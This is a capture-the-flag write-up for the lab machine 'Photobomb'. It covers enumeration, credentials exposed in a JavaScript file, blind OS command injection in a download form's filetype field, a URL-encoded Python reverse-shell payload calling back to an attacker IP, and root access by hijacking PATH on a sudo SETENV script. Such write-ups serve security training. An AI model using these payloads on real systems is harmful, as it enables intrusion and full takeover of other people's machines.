# Photobomb

## Enumeration

`sudo nmap -sV <IP>`

* nginx 1.18 with a webserver on port 80 and ssh port 22 are open
* There was interesting info in the source code:

```
<p>To get started, please <a href="/printer" class="creds">click here!</a> (the credentials are in your welcome pack).</p>
<p>If you have any problems with your printer, please call our Technical Support team on 4 4283 77468377.</p>
```

I continued with some dir fuzzing:

```
fuzzing:
	/printer
	/printers
	/printerfriendly
	/printer_friendly
	/printer-friendly	
	/printer_icon
	/printer-icon
	/printerFriendly	
-> All show the same page
```

When giving a non existing page, there is an interesting error:

<figure><img src="https://746814813-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fe1HXVppEt3OHWIFqtAXT%2Fuploads%2Fq37Xg6u4K3GI0oYsOBOp%2Fimage.png?alt=media&#x26;token=cf63689e-816f-4f5e-a2cc-cdd1af41cf3c" alt=""><figcaption></figcaption></figure>

There is a JS file containing <http://pH0t0:b0Mb!@photobomb.htb/printer>

You can download files. If you check the request with burp and test around with different injections, there is a different output if ;something is included. So there might me a blind OS command injection.

## Blind OS Command Injection

If you inject at the filetype with this payload: `jpg;ping+-c+4+10.10.16.4` you can see with tcpdump that the command has been executed.

Checking different reverse shell payload, none worked. Only if you use a specific python reverse shell, url encode = and &, and replace spaces with + it works apparently

This was the payload that worked in the end:

```
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpgphoto=voicu-apostol-MWER49YaD-M-
	unsplash.jpg&filetype=jpg;photo=voicu-apostol-MWER49YaD-M-
	unsplash.jpg&filetype=jpg;export+RHOST%3d"10.10.16.4ls"%3bexport+RPORT%3d4444%3bpython3+-c+'import+sys,socket,os,pty%3bs%3dsocket.socket()%3bs.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))%3b[os.dup2(s.fileno(),fd)+for+fd+in+(0,1,2)]%3bpty.spawn("sh")'&dimensions=3000x2000
```

## SUID + SetEnv Script

`sudo -l` reveals, that `/opt/cleanup.sh` is an SUID binary where you also have SETENV permissions.

<figure><img src="https://746814813-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fe1HXVppEt3OHWIFqtAXT%2Fuploads%2F71B1uOvDeafsqQqQixnq%2Fimage.png?alt=media&#x26;token=89dba5a0-14dc-407b-a012-0460a1ab9a4e" alt=""><figcaption></figcaption></figure>

With setenv you can change the path for the program. Since find is called with a relative path, you can create a "find" that contains /bin/bash in the homedir of the user “wizard” and then execute the program, making use of the SUID and SETENV permissions:

sudo PATH=/home/wizard:/bin /opt/cleanup.sh
